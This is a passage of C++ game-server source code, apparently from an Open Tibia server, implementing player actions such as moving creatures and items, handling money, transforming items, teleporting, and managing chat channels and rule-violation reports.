if(!thing || !toCylinder) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } if(Creature* movingCreature = thing->getCreature()) { uint32_t delay = g_config.getNumber(ConfigManager::PUSH_CREATURE_DELAY); if(Position::areInRange<1,1,0>(movingCreature->getPosition(), player->getPosition()) && delay > 0) { SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerMoveCreature, this, player->getID(), movingCreature->getID(), movingCreature->getPosition(), toCylinder->getPosition())); player->setNextActionTask(task); } else playerMoveCreature(playerId, movingCreature->getID(), movingCreature->getPosition(), toCylinder->getPosition()); } else if(thing->getItem()) playerMoveItem(playerId, fromPos, spriteId, fromStackpos, toPos, count); return true; } bool Game::playerMoveCreature(uint32_t playerId, uint32_t movingCreatureId, const Position& movingCreaturePos, const Position& toPos) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved() || player->hasFlag(PlayerFlag_CannotMoveCreatures)) return false; if(!player->canDoAction()) { uint32_t delay = player->getNextActionTime(); SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerMoveCreature, this, playerId, movingCreatureId, movingCreaturePos, toPos)); player->setNextActionTask(task); return false; } Creature* movingCreature = getCreatureByID(movingCreatureId); if(!movingCreature || movingCreature->isRemoved() || movingCreature->getNoMove()) return false; player->setNextActionTask(NULL); if(!Position::areInRange<1,1,0>(movingCreaturePos, player->getPosition()) && !player->hasCustomFlag(PlayerCustomFlag_CanMoveFromFar)) { //need to walk to the creature first before moving it std::list<Direction> listDir; if(getPathToEx(player, movingCreaturePos, listDir, 0, 1, true, true)) { Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk, this, player->getID(), listDir))); SchedulerTask* task = createSchedulerTask(player->getStepDuration(), boost::bind(&Game::playerMoveCreature, this, playerId, movingCreatureId, movingCreaturePos, toPos)); player->setNextWalkActionTask(task); return true; } player->sendCancelMessage(RET_THEREISNOWAY); return false; } Tile* toTile = map->getTile(toPos); if(!toTile) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } if((!movingCreature->isPushable() && !player->hasFlag(PlayerFlag_CanPushAllCreatures)) || !player->canSeeCreature(movingCreature)) { player->sendCancelMessage(RET_NOTMOVEABLE); return false; } //check throw distance const Position& pos = movingCreature->getPosition(); if(!player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere) && ((std::abs(pos.x - toPos.x) > movingCreature->getThrowRange()) || (std::abs( pos.y - toPos.y) > movingCreature->getThrowRange()) || (std::abs( pos.z - toPos.z) * 4 > movingCreature->getThrowRange()))) { player->sendCancelMessage(RET_DESTINATIONOUTOFREACH); return false; } if(player != movingCreature) { if(toTile->hasProperty(BLOCKPATH)) { player->sendCancelMessage(RET_NOTENOUGHROOM); return false; } if((movingCreature->getZone() == ZONE_PROTECTION || movingCreature->getZone() == ZONE_NOPVP) && !toTile->hasFlag(TILESTATE_NOPVPZONE) && !toTile->hasFlag(TILESTATE_PROTECTIONZONE) && !player->hasFlag(PlayerFlag_IgnoreProtectionZone)) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } if(toTile->getCreatures() && !toTile->getCreatures()->empty() && !player->hasFlag(PlayerFlag_CanPushAllCreatures)) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } } bool deny = false; CreatureEventList pushEvents = player->getCreatureEvents(CREATURE_EVENT_PUSH); for(CreatureEventList::iterator it = pushEvents.begin(); it != pushEvents.end(); ++it) { if(!(*it)->executePush(player, movingCreature) && !deny) deny = true; } if(deny) return false; ReturnValue ret = internalMoveCreature(player, movingCreature, movingCreature->getTile(), toTile); if(ret != RET_NOERROR) { if(!player->hasCustomFlag(PlayerCustomFlag_CanMoveFromFar) || !player->hasCustomFlag(PlayerCustomFlag_CanMoveAnywhere)) { player->sendCancelMessage(ret); return false; } if(!toTile->ground) { player->sendCancelMessage(RET_NOTPOSSIBLE); return true; } internalTeleport(movingCreature, toTile->getPosition(), true); return true; } if(Player* movingPlayer = movingCreature->getPlayer()) { uint64_t delay = OTSYS_TIME() + movingPlayer->getStepDuration(); if(delay > movingPlayer->getNextActionTime()) movingPlayer->setNextAction(delay); } return true; } ReturnValue Game::internalMoveCreature(Creature* creature, Direction direction, uint32_t flags/* = 0*/) { const Position& currentPos = creature->getPosition(); Cylinder* fromTile = creature->getTile(); Cylinder* toTile = NULL; Position destPos = getNextPosition(direction, currentPos); if(direction < SOUTHWEST && creature->getPlayer()) { Tile* tmpTile = NULL; if(currentPos.z != 8 && creature->getTile()->hasHeight(3)) //try go up { if((!(tmpTile = map->getTile(Position(currentPos.x, currentPos.y, currentPos.z - 1))) || (!tmpTile->ground && !tmpTile->hasProperty(BLOCKSOLID))) && (tmpTile = map->getTile(Position(destPos.x, destPos.y, destPos.z - 1))) && tmpTile->ground && !tmpTile->hasProperty(BLOCKSOLID)) { flags = flags | FLAG_IGNOREBLOCKITEM | FLAG_IGNOREBLOCKCREATURE; destPos.z--; } } else if(currentPos.z != 7 && (!(tmpTile = map->getTile(destPos)) || (!tmpTile->ground && !tmpTile->hasProperty(BLOCKSOLID))) && (tmpTile = map->getTile(Position( destPos.x, destPos.y, destPos.z + 1))) && tmpTile->hasHeight(3)) //try go down { flags = flags | FLAG_IGNOREBLOCKITEM | FLAG_IGNOREBLOCKCREATURE; destPos.z++; } } ReturnValue ret = RET_NOTPOSSIBLE; if((toTile = map->getTile(destPos))) ret = internalMoveCreature(NULL, creature, fromTile, toTile, flags); if(ret != RET_NOERROR) { if(Player* player = creature->getPlayer()) { player->sendCancelMessage(ret); player->sendCancelWalk(); } } return ret; } ReturnValue Game::internalMoveCreature(Creature* actor, Creature* creature, Cylinder* fromCylinder, Cylinder* toCylinder, uint32_t flags/* = 0*/) { //check if we can move the creature to the destination ReturnValue ret = toCylinder->__queryAdd(0, creature, 1, flags); if(ret != RET_NOERROR) return ret; fromCylinder->getTile()->moveCreature(actor, creature, toCylinder); if(creature->getParent() != toCylinder) return RET_NOERROR; Item* toItem = NULL; Cylinder* subCylinder = NULL; int32_t n = 0, tmp = 0; while((subCylinder = toCylinder->__queryDestination(tmp, creature, &toItem, flags)) != toCylinder) { toCylinder->getTile()->moveCreature(actor, creature, subCylinder); if(creature->getParent() != subCylinder) //could happen if a script move the creature break; toCylinder = subCylinder; flags = 0; if(++n >= MAP_MAX_LAYERS) //to prevent infinite loop break; } return RET_NOERROR; } bool Game::playerMoveItem(uint32_t playerId, const Position& fromPos, uint16_t spriteId, int16_t fromStackpos, const Position& toPos, uint8_t count) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved() || player->hasFlag(PlayerFlag_CannotMoveItems)) return false; if(!player->canDoAction()) { uint32_t delay = player->getNextActionTime(); SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerMoveItem, this, playerId, fromPos, spriteId, fromStackpos, toPos, count)); player->setNextActionTask(task); return false; } player->setNextActionTask(NULL); Cylinder* fromCylinder = internalGetCylinder(player, fromPos); uint8_t fromIndex = 0; if(fromPos.x == 0xFFFF) { if(fromPos.y & 0x40) fromIndex = static_cast<uint8_t>(fromPos.z); else fromIndex = static_cast<uint8_t>(fromPos.y); } else fromIndex = fromStackpos; Thing* thing = internalGetThing(player, fromPos, fromIndex, spriteId, STACKPOS_MOVE); if(!thing || !thing->getItem()) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } Item* item = thing->getItem(); Cylinder* toCylinder = internalGetCylinder(player, toPos); uint8_t toIndex = 0; if(toPos.x == 0xFFFF) { if(toPos.y & 0x40) toIndex = static_cast<uint8_t>(toPos.z); else toIndex = static_cast<uint8_t>(toPos.y); } if(!fromCylinder || !toCylinder || !item || item->getClientID() != spriteId) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } if(!player->hasCustomFlag(PlayerCustomFlag_CanPushAllItems) && (!item->isPushable() || (item->isLoadedFromMap() && (item->getUniqueId() != 0 || (item->getActionId() != 0 && item->getContainer()))))) { player->sendCancelMessage(RET_NOTMOVEABLE); return false; } const Position& mapFromPos = fromCylinder->getTile()->getPosition(); const Position& mapToPos = toCylinder->getTile()->getPosition(); const Position& playerPos = player->getPosition(); if(playerPos.z > mapFromPos.z && !player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere)) { player->sendCancelMessage(RET_FIRSTGOUPSTAIRS); return false; } if(playerPos.z < mapFromPos.z && !player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere)) { player->sendCancelMessage(RET_FIRSTGODOWNSTAIRS); return false; } if(!Position::areInRange<1,1,0>(playerPos, mapFromPos) && !player->hasCustomFlag(PlayerCustomFlag_CanMoveFromFar)) { //need to walk to the item first before using it std::list<Direction> listDir; if(getPathToEx(player, item->getPosition(), listDir, 0, 1, true, true)) { Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk, this, player->getID(), listDir))); SchedulerTask* task = createSchedulerTask(player->getStepDuration(), boost::bind(&Game::playerMoveItem, this, playerId, fromPos, spriteId, fromStackpos, toPos, count)); player->setNextWalkActionTask(task); return true; } player->sendCancelMessage(RET_THEREISNOWAY); return false; } //hangable item specific code if(item->isHangable() && toCylinder->getTile()->hasProperty(SUPPORTHANGABLE)) { //destination supports hangable objects so need to move there first if(toCylinder->getTile()->hasProperty(ISVERTICAL)) { if(player->getPosition().x + 1 == mapToPos.x) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } } else if(toCylinder->getTile()->hasProperty(ISHORIZONTAL)) { if(player->getPosition().y + 1 == mapToPos.y) { player->sendCancelMessage(RET_NOTPOSSIBLE); return false; } } if(!Position::areInRange<1,1,0>(playerPos, mapToPos) && !player->hasCustomFlag(PlayerCustomFlag_CanMoveFromFar)) { Position walkPos = mapToPos; if(toCylinder->getTile()->hasProperty(ISVERTICAL)) walkPos.x -= -1; if(toCylinder->getTile()->hasProperty(ISHORIZONTAL)) walkPos.y -= -1; Position itemPos = fromPos; int16_t itemStackpos = fromStackpos; if(fromPos.x != 0xFFFF && Position::areInRange<1,1,0>(mapFromPos, player->getPosition()) && !Position::areInRange<1,1,0>(mapFromPos, walkPos)) { //need to pickup the item first Item* moveItem = NULL; ReturnValue ret = internalMoveItem(player, fromCylinder, player, INDEX_WHEREEVER, item, count, &moveItem); if(ret != RET_NOERROR) { player->sendCancelMessage(ret); return false; } //changing the position since its now in the inventory of the player internalGetPosition(moveItem, itemPos, itemStackpos); } std::list<Direction> listDir; if(map->getPathTo(player, walkPos, listDir)) { Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk, this, player->getID(), listDir))); SchedulerTask* task = createSchedulerTask(player->getStepDuration(), boost::bind(&Game::playerMoveItem, this, playerId, itemPos, spriteId, itemStackpos, toPos, count)); player->setNextWalkActionTask(task); return true; } player->sendCancelMessage(RET_THEREISNOWAY); return false; } } if(!player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere)) { if((std::abs(playerPos.x - mapToPos.x) > item->getThrowRange()) || (std::abs(playerPos.y - mapToPos.y) > item->getThrowRange()) || (std::abs(mapFromPos.z - mapToPos.z) * 4 > item->getThrowRange())) { player->sendCancelMessage(RET_DESTINATIONOUTOFREACH); return false; } } if(!canThrowObjectTo(mapFromPos, mapToPos) && !player->hasCustomFlag(PlayerCustomFlag_CanThrowAnywhere)) { player->sendCancelMessage(RET_CANNOTTHROW); return false; } ReturnValue ret = internalMoveItem(player, fromCylinder, toCylinder, toIndex, item, count, NULL); if(ret == RET_NOERROR) return true; player->sendCancelMessage(ret); return false; } ReturnValue Game::internalMoveItem(Creature* actor, Cylinder* fromCylinder, Cylinder* toCylinder, int32_t index, Item* item, uint32_t count, Item** _moveItem, uint32_t flags /*= 0*/) { if(!toCylinder) return RET_NOTPOSSIBLE; if(!item->getParent()) { assert(fromCylinder == item->getParent()); return internalAddItem(actor, toCylinder, item, INDEX_WHEREEVER, FLAG_NOLIMIT); } Item* toItem = NULL; Cylinder* subCylinder = NULL; int32_t floor = 0; while((subCylinder = toCylinder->__queryDestination(index, item, &toItem, flags)) != toCylinder) { toCylinder = subCylinder; flags = 0; //to prevent infinite loop if(++floor >= MAP_MAX_LAYERS) break; } //destination is the same as the source? if(item == toItem) return RET_NOERROR; //silently ignore move //check if we can add this item ReturnValue ret = toCylinder->__queryAdd(index, item, count, flags); if(ret == RET_NEEDEXCHANGE) { //check if we can add it to source cylinder int32_t fromIndex = fromCylinder->__getIndexOfThing(item); ret = fromCylinder->__queryAdd(fromIndex, toItem, toItem->getItemCount(), 0); if(ret == RET_NOERROR) { //check how much we can move uint32_t maxExchangeQueryCount = 0; ReturnValue retExchangeMaxCount = fromCylinder->__queryMaxCount(-1, toItem, toItem->getItemCount(), maxExchangeQueryCount, 0); if(retExchangeMaxCount != RET_NOERROR && maxExchangeQueryCount == 0) return retExchangeMaxCount; if((toCylinder->__queryRemove(toItem, toItem->getItemCount(), flags) == RET_NOERROR) && ret == RET_NOERROR) { int32_t oldToItemIndex = toCylinder->__getIndexOfThing(toItem); toCylinder->__removeThing(toItem, toItem->getItemCount()); fromCylinder->__addThing(actor, toItem); if(oldToItemIndex != -1) toCylinder->postRemoveNotification(actor, toItem, fromCylinder, oldToItemIndex, true); int32_t newToItemIndex = fromCylinder->__getIndexOfThing(toItem); if(newToItemIndex != -1) fromCylinder->postAddNotification(actor, toItem, toCylinder, newToItemIndex); ret = toCylinder->__queryAdd(index, item, count, flags); toItem = NULL; } } } if(ret != RET_NOERROR) return ret; //check how much we can move uint32_t maxQueryCount = 0; ReturnValue retMaxCount = toCylinder->__queryMaxCount(index, item, count, maxQueryCount, flags); if(retMaxCount != RET_NOERROR && !maxQueryCount) return retMaxCount; uint32_t m = maxQueryCount, n = 0; if(item->isStackable()) m = std::min((uint32_t)count, m); Item* moveItem = item; //check if we can remove this item ret = fromCylinder->__queryRemove(item, m, flags); if(ret != RET_NOERROR) return ret; //remove the item int32_t itemIndex = fromCylinder->__getIndexOfThing(item); fromCylinder->__removeThing(item, m); bool isCompleteRemoval = item->isRemoved(); Item* updateItem = NULL; //update item(s) if(item->isStackable()) { if(toItem && toItem->getID() == item->getID()) { n = std::min((uint32_t)100 - toItem->getItemCount(), m); toCylinder->__updateThing(toItem, toItem->getID(), toItem->getItemCount() + n); updateItem = toItem; } if(m - n > 0) moveItem = Item::CreateItem(item->getID(), m - n); else moveItem = NULL; if(item->isRemoved()) freeThing(item); } //add item if(moveItem /*m - n > 0*/) toCylinder->__addThing(actor, index, moveItem); if(itemIndex != -1) fromCylinder->postRemoveNotification(actor, item, toCylinder, itemIndex, isCompleteRemoval); if(moveItem) { int32_t moveItemIndex = toCylinder->__getIndexOfThing(moveItem); if(moveItemIndex != -1) toCylinder->postAddNotification(actor, moveItem, fromCylinder, moveItemIndex); } if(updateItem) { int32_t updateItemIndex = toCylinder->__getIndexOfThing(updateItem); if(updateItemIndex != -1) toCylinder->postAddNotification(actor, updateItem, fromCylinder, updateItemIndex); } if(_moveItem) { if(moveItem) *_moveItem = moveItem; else *_moveItem = item; } //we could not move all, inform the player if(item->isStackable() && maxQueryCount < count) return retMaxCount; return ret; } ReturnValue Game::internalAddItem(Creature* actor, Cylinder* toCylinder, Item* item, int32_t index /*= INDEX_WHEREEVER*/, uint32_t flags /*= 0*/, bool test /*= false*/) { if(!toCylinder || !item) return RET_NOTPOSSIBLE; Item* toItem = NULL; toCylinder = toCylinder->__queryDestination(index, item, &toItem, flags); ReturnValue ret = toCylinder->__queryAdd(index, item, item->getItemCount(), flags); if(ret != RET_NOERROR) return ret; uint32_t maxQueryCount = 0; ret = toCylinder->__queryMaxCount(index, item, item->getItemCount(), maxQueryCount, flags); if(ret != RET_NOERROR) return ret; if(!test) { uint32_t m = maxQueryCount; if(item->isStackable()) m = std::min((uint32_t)item->getItemCount(), maxQueryCount); Item* moveItem = item; if(item->isStackable() && toItem && toItem->getID() == item->getID()) { uint32_t n = std::min((uint32_t)100 - toItem->getItemCount(), m); toCylinder->__updateThing(toItem, toItem->getID(), toItem->getItemCount() + n); if(m - n > 0) { if(m - n != item->getItemCount()) moveItem = Item::CreateItem(item->getID(), m - n); } else { moveItem = NULL; if(item->getParent() != VirtualCylinder::virtualCylinder) { item->onRemoved(); freeThing(item); } } } if(moveItem) { toCylinder->__addThing(actor, index, moveItem); int32_t moveItemIndex = toCylinder->__getIndexOfThing(moveItem); if(moveItemIndex != -1) toCylinder->postAddNotification(actor, moveItem, NULL, moveItemIndex); } else { int32_t itemIndex = toCylinder->__getIndexOfThing(item); if(itemIndex != -1) toCylinder->postAddNotification(actor, item, NULL, itemIndex); } } return RET_NOERROR; } ReturnValue Game::internalRemoveItem(Creature* actor, Item* item, int32_t count /*= -1*/, bool test /*= false*/, uint32_t flags /*= 0*/) { Cylinder* cylinder = item->getParent(); if(!cylinder) return RET_NOTPOSSIBLE; if(count == -1) count = item->getItemCount(); //check if we can remove this item ReturnValue ret = cylinder->__queryRemove(item, count, flags | FLAG_IGNORENOTMOVEABLE); if(ret != RET_NOERROR) return ret; if(!item->canRemove()) return RET_NOTPOSSIBLE; if(!test) { //remove the item int32_t index = cylinder->__getIndexOfThing(item); cylinder->__removeThing(item, count); bool isCompleteRemoval = false; if(item->isRemoved()) { isCompleteRemoval = true; freeThing(item); } cylinder->postRemoveNotification(actor, item, NULL, index, isCompleteRemoval); } item->onRemoved(); return RET_NOERROR; } ReturnValue Game::internalPlayerAddItem(Creature* actor, Player* player, Item* item, bool dropOnMap /*= true*/) { ReturnValue ret = internalAddItem(actor, player, item); if(ret != RET_NOERROR && dropOnMap) ret = internalAddItem(actor, player->getTile(), item, INDEX_WHEREEVER, FLAG_NOLIMIT); return ret; } Item* Game::findItemOfType(Cylinder* cylinder, uint16_t itemId, bool depthSearch /*= true*/, int32_t subType /*= -1*/) { if(!cylinder) return false; std::list<Container*> listContainer; Container* tmpContainer = NULL; Thing* thing = NULL; Item* item = NULL; for(int32_t i = cylinder->__getFirstIndex(); i < cylinder->__getLastIndex();) { if((thing = cylinder->__getThing(i)) && (item = thing->getItem())) { if(item->getID() == itemId && (subType == -1 || subType == item->getSubType())) return item; else { ++i; if(depthSearch && (tmpContainer = item->getContainer())) listContainer.push_back(tmpContainer); } } else ++i; } while(listContainer.size() > 0) { Container* container = listContainer.front(); listContainer.pop_front(); for(int32_t i = 0; i < (int32_t)container->size();) { Item* item = container->getItem(i); if(item->getID() == itemId && (subType == -1 || subType == item->getSubType())) return item; else { ++i; if((tmpContainer = item->getContainer())) listContainer.push_back(tmpContainer); } } } return NULL; } bool Game::removeItemOfType(Cylinder* cylinder, uint16_t itemId, int32_t count, int32_t subType /*= -1*/) { if(!cylinder || ((int32_t)cylinder->__getItemTypeCount(itemId, subType) < count)) return false; if(count <= 0) return true; std::list<Container*> listContainer; Container* tmpContainer = NULL; Thing* thing = NULL; Item* item = NULL; for(int32_t i = cylinder->__getFirstIndex(); i < cylinder->__getLastIndex() && count > 0;) { if((thing = cylinder->__getThing(i)) && (item = thing->getItem())) { if(item->getID() == itemId) { if(item->isStackable()) { if(item->getItemCount() > count) { internalRemoveItem(NULL, item, count); count = 0; } else { count -= item->getItemCount(); internalRemoveItem(NULL, item); } } else if(subType == -1 || subType == item->getSubType()) { --count; internalRemoveItem(NULL, item); } } else { ++i; if((tmpContainer = item->getContainer())) listContainer.push_back(tmpContainer); } } else ++i; } while(listContainer.size() > 0 && count > 0) { Container* container = listContainer.front(); listContainer.pop_front(); for(int32_t i = 0; i < (int32_t)container->size() && count > 0;) { Item* item = container->getItem(i); if(item->getID() == itemId) { if(item->isStackable()) { if(item->getItemCount() > count) { internalRemoveItem(NULL, item, count); count = 0; } else { count-= item->getItemCount(); internalRemoveItem(NULL, item); } } else if(subType == -1 || subType == item->getSubType()) { --count; internalRemoveItem(NULL, item); } } else { ++i; if((tmpContainer = item->getContainer())) listContainer.push_back(tmpContainer); } } } return (count == 0); } uint32_t Game::getMoney(const Cylinder* cylinder) { if(!cylinder) return 0; std::list<Container*> listContainer; Container* tmpContainer = NULL; Thing* thing = NULL; Item* item = NULL; uint32_t moneyCount = 0; for(int32_t i = cylinder->__getFirstIndex(); i < cylinder->__getLastIndex(); ++i) { if(!(thing = cylinder->__getThing(i))) continue; if(!(item = thing->getItem())) continue; if((tmpContainer = item->getContainer())) listContainer.push_back(tmpContainer); else if(item->getWorth() != 0) moneyCount += item->getWorth(); } while(listContainer.size() > 0) { Container* container = listContainer.front(); listContainer.pop_front(); for(ItemList::const_iterator it = container->getItems(); it != container->getEnd(); ++it) { item = *it; if((tmpContainer = item->getContainer())) listContainer.push_back(tmpContainer); else if(item->getWorth() != 0) moneyCount += item->getWorth(); } } return moneyCount; } bool Game::removeMoney(Cylinder* cylinder, int32_t money, uint32_t flags /*= 0*/) { if(!cylinder) return false; if(money <= 0) return true; typedef std::multimap<int32_t, Item*, std::less<int32_t> > MoneyMultiMap; MoneyMultiMap moneyMap; std::list<Container*> listContainer; Container* tmpContainer = NULL; Thing* thing = NULL; Item* item = NULL; int32_t moneyCount = 0; for(int32_t i = cylinder->__getFirstIndex(); i < cylinder->__getLastIndex() && money > 0; ++i) { if(!(thing = cylinder->__getThing(i))) continue; if(!(item = thing->getItem())) continue; if((tmpContainer = item->getContainer())) listContainer.push_back(tmpContainer); else if(item->getWorth() != 0) { moneyCount += item->getWorth(); moneyMap.insert(std::make_pair(item->getWorth(), item)); } } while(listContainer.size() > 0 && money > 0) { Container* container = listContainer.front(); listContainer.pop_front(); for(int32_t i = 0; i < (int32_t)container->size() && money > 0; i++) { Item* item = container->getItem(i); if((tmpContainer = item->getContainer())) listContainer.push_back(tmpContainer); else if(item->getWorth() != 0) { moneyCount += item->getWorth(); moneyMap.insert(std::make_pair(item->getWorth(), item)); } } } // Not enough money if(moneyCount < money) return false; for(MoneyMultiMap::iterator mit = moneyMap.begin(); mit != moneyMap.end() && money > 0; ++mit) { Item* item = mit->second; if(!item) continue; internalRemoveItem(NULL, item); if(mit->first > money) { // Remove a monetary value from an item int32_t remaind = item->getWorth() - money; addMoney(cylinder, remaind, flags); money = 0; } else money -= mit->first; mit->second = NULL; } moneyMap.clear(); return money == 0; } void Game::addMoney(Cylinder* cylinder, int32_t money, uint32_t flags /*= 0*/) { IntegerMap moneyMap = Item::items.getMoneyMap(); int32_t tmp = 0; for(IntegerMap::reverse_iterator it = moneyMap.rbegin(); it != moneyMap.rend(); ++it) { tmp = money / it->first; money -= tmp * it->first; if(tmp != 0) { do { Item* remaindItem = Item::CreateItem(it->second, std::min(100, tmp)); if(internalAddItem(NULL, cylinder, remaindItem, INDEX_WHEREEVER, flags) != RET_NOERROR) internalAddItem(NULL, cylinder->getTile(), remaindItem, INDEX_WHEREEVER, FLAG_NOLIMIT); tmp -= std::min(100, tmp); } while(tmp > 0); } } } Item* Game::transformItem(Item* item, uint16_t newId, int32_t newCount /*= -1*/) { if(item->getID() == newId && (newCount == -1 || (newCount == item->getSubType() && newCount != 0))) return item; Cylinder* cylinder = item->getParent(); if(!cylinder) return NULL; int32_t itemIndex = cylinder->__getIndexOfThing(item); if(itemIndex == -1) { #ifdef __DEBUG__ std::cout << "Error: transformItem, itemIndex == -1" << std::endl; #endif return item; } if(!item->canTransform()) return item; const ItemType& curType = Item::items[item->getID()]; const ItemType& newType = Item::items[newId]; if(curType.alwaysOnTop != newType.alwaysOnTop) { //This only occurs when you transform items on tiles from a downItem to a topItem (or vice versa) //Remove the old, and add the new ReturnValue ret = internalRemoveItem(NULL, item); if(ret != RET_NOERROR) return item; Item* newItem = NULL; if(newCount == -1) newItem = Item::CreateItem(newId); else newItem = Item::CreateItem(newId, newCount); if(!newItem) return NULL; newItem->copyAttributes(item); if(internalAddItem(NULL, cylinder, newItem, INDEX_WHEREEVER, FLAG_NOLIMIT) == RET_NOERROR) return newItem; delete newItem; return NULL; } if(curType.type == newType.type) { //Both items has the same type so we can safely change id/subtype if(!newCount && (item->isStackable() || item->hasCharges())) { if(!item->isStackable() && (!item->getDefaultDuration() || item->getDuration() <= 0)) { int32_t tmpId = newId; if(curType.id == newType.id) tmpId = curType.decayTo; if(tmpId != -1) { item = transformItem(item, tmpId); return item; } } internalRemoveItem(NULL, item); return NULL; } uint16_t itemId = item->getID(); int32_t count = item->getSubType(); cylinder->postRemoveNotification(NULL, item, cylinder, itemIndex, false); if(curType.id != newType.id) { itemId = newId; if(newType.group != curType.group) item->setDefaultSubtype(); } if(newCount != -1 && newType.hasSubType()) count = newCount; cylinder->__updateThing(item, itemId, count); cylinder->postAddNotification(NULL, item, cylinder, itemIndex); return item; } //Replacing the the old item with the new while maintaining the old position Item* newItem = NULL; if(newCount == -1) newItem = Item::CreateItem(newId); else newItem = Item::CreateItem(newId, newCount); if(!newItem) { #ifdef __DEBUG__ std::cout << "Error: [Game::transformItem] Item of type " << item->getID() << " transforming into invalid type " << newId << std::endl; #endif return NULL; } cylinder->__replaceThing(itemIndex, newItem); cylinder->postAddNotification(NULL, newItem, cylinder, itemIndex); item->setParent(NULL); cylinder->postRemoveNotification(NULL, item, cylinder, itemIndex, true); freeThing(item); return newItem; } ReturnValue Game::internalTeleport(Thing* thing, const Position& newPos, bool pushMove, uint32_t flags /*= 0*/) { if(newPos == thing->getPosition()) return RET_NOERROR; if(thing->isRemoved()) return RET_NOTPOSSIBLE; if(Tile* toTile = map->getTile(newPos)) { if(Creature* creature = thing->getCreature()) { if(Position::areInRange<1,1,0>(creature->getPosition(), newPos) && pushMove) creature->getTile()->moveCreature(NULL, creature, toTile, false); else creature->getTile()->moveCreature(NULL, creature, toTile, true); return RET_NOERROR; } if(Item* item = thing->getItem()) return internalMoveItem(NULL, item->getParent(), toTile, INDEX_WHEREEVER, item, item->getItemCount(), NULL, flags); } return RET_NOTPOSSIBLE; } //Implementation of player invoked events bool Game::playerMove(uint32_t playerId, Direction dir) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(player->getNoMove()) { player->sendCancelWalk(); return false; } player->stopWalk(); int32_t delay = player->getWalkDelay(dir); if(delay > 0) { player->setNextAction(OTSYS_TIME() + player->getStepDuration(dir) - SCHEDULER_MINTICKS); if(SchedulerTask* task = createSchedulerTask(((uint32_t)delay), boost::bind(&Game::playerMove, this, playerId, dir))) player->setNextWalkTask(task); return false; } player->setFollowCreature(NULL); player->onWalk(dir); player->setIdleTime(0); return internalMoveCreature(player, dir) == RET_NOERROR; } bool Game::playerBroadcastMessage(Player* player, SpeakClasses type, const std::string& text) { if(!player->hasFlag(PlayerFlag_CanBroadcast) || type < SPEAK_CLASS_FIRST || type > SPEAK_CLASS_LAST) return false; for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it) it->second->sendCreatureSay(player, type, text); //TODO: event handling - onCreatureSay std::cout << "> " << player->getName() << " broadcasted: \"" << text << "\"." << std::endl; return true; } bool Game::playerCreatePrivateChannel(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved() || !player->isPremium()) return false; ChatChannel* channel = g_chat.createChannel(player, 0xFFFF); if(!channel || !channel->addUser(player)) return false; player->sendCreatePrivateChannel(channel->getId(), channel->getName()); return true; } bool Game::playerChannelInvite(uint32_t playerId, const std::string& name) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; PrivateChatChannel* channel = g_chat.getPrivateChannel(player); if(!channel) return false; Player* invitePlayer = getPlayerByName(name); if(!invitePlayer) return false; channel->invitePlayer(player, invitePlayer); return true; } bool Game::playerChannelExclude(uint32_t playerId, const std::string& name) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; PrivateChatChannel* channel = g_chat.getPrivateChannel(player); if(!channel) return false; Player* excludePlayer = getPlayerByName(name); if(!excludePlayer) return false; channel->excludePlayer(player, excludePlayer); return true; } bool Game::playerRequestChannels(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; player->sendChannelsDialog(); return true; } bool Game::playerOpenChannel(uint32_t playerId, uint16_t channelId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; ChatChannel* channel = g_chat.addUserToChannel(player, channelId); if(!channel) { #ifdef __DEBUG_CHAT__ std::cout << "Game::playerOpenChannel - failed adding user to channel." << std::endl; #endif return false; } if(channel->getId() != CHANNEL_RVR) player->sendChannel(channel->getId(), channel->getName()); else player->sendRuleViolationsChannel(channel->getId()); return true; } bool Game::playerCloseChannel(uint32_t playerId, uint16_t channelId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; g_chat.removeUserFromChannel(player, channelId); return true; } bool Game::playerOpenPrivateChannel(uint32_t playerId, std::string& receiver) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(IOLoginData::getInstance()->playerExists(receiver)) player->sendOpenPrivateChannel(receiver); else player->sendCancel("A player with this name does not exist."); return true; } bool Game::playerProcessRuleViolation(uint32_t playerId, const std::string& name) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(!player->hasFlag(PlayerFlag_CanAnswerRuleViolations)) return false; Player* reporter = getPlayerByName(name); if(!reporter) return false; RuleViolationsMap::iterator it = ruleViolations.find(reporter->getID()); if(it == ruleViolations.end()) return false; RuleViolation& rvr = *it->second; if(!rvr.isOpen) return false; rvr.isOpen = false; rvr.gamemaster = player; if(ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR)) { UsersMap tmpMap = channel->getUsers(); for(UsersMap::iterator tit = tmpMap.begin(); tit != tmpMap.end(); ++tit) tit->second->sendRemoveReport(reporter->getName()); } return true; } bool Game::playerCloseRuleViolation(uint32_t playerId, const std::string& name) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Player* reporter = getPlayerByName(name); if(!reporter) return false; return closeRuleViolation(reporter); } bool 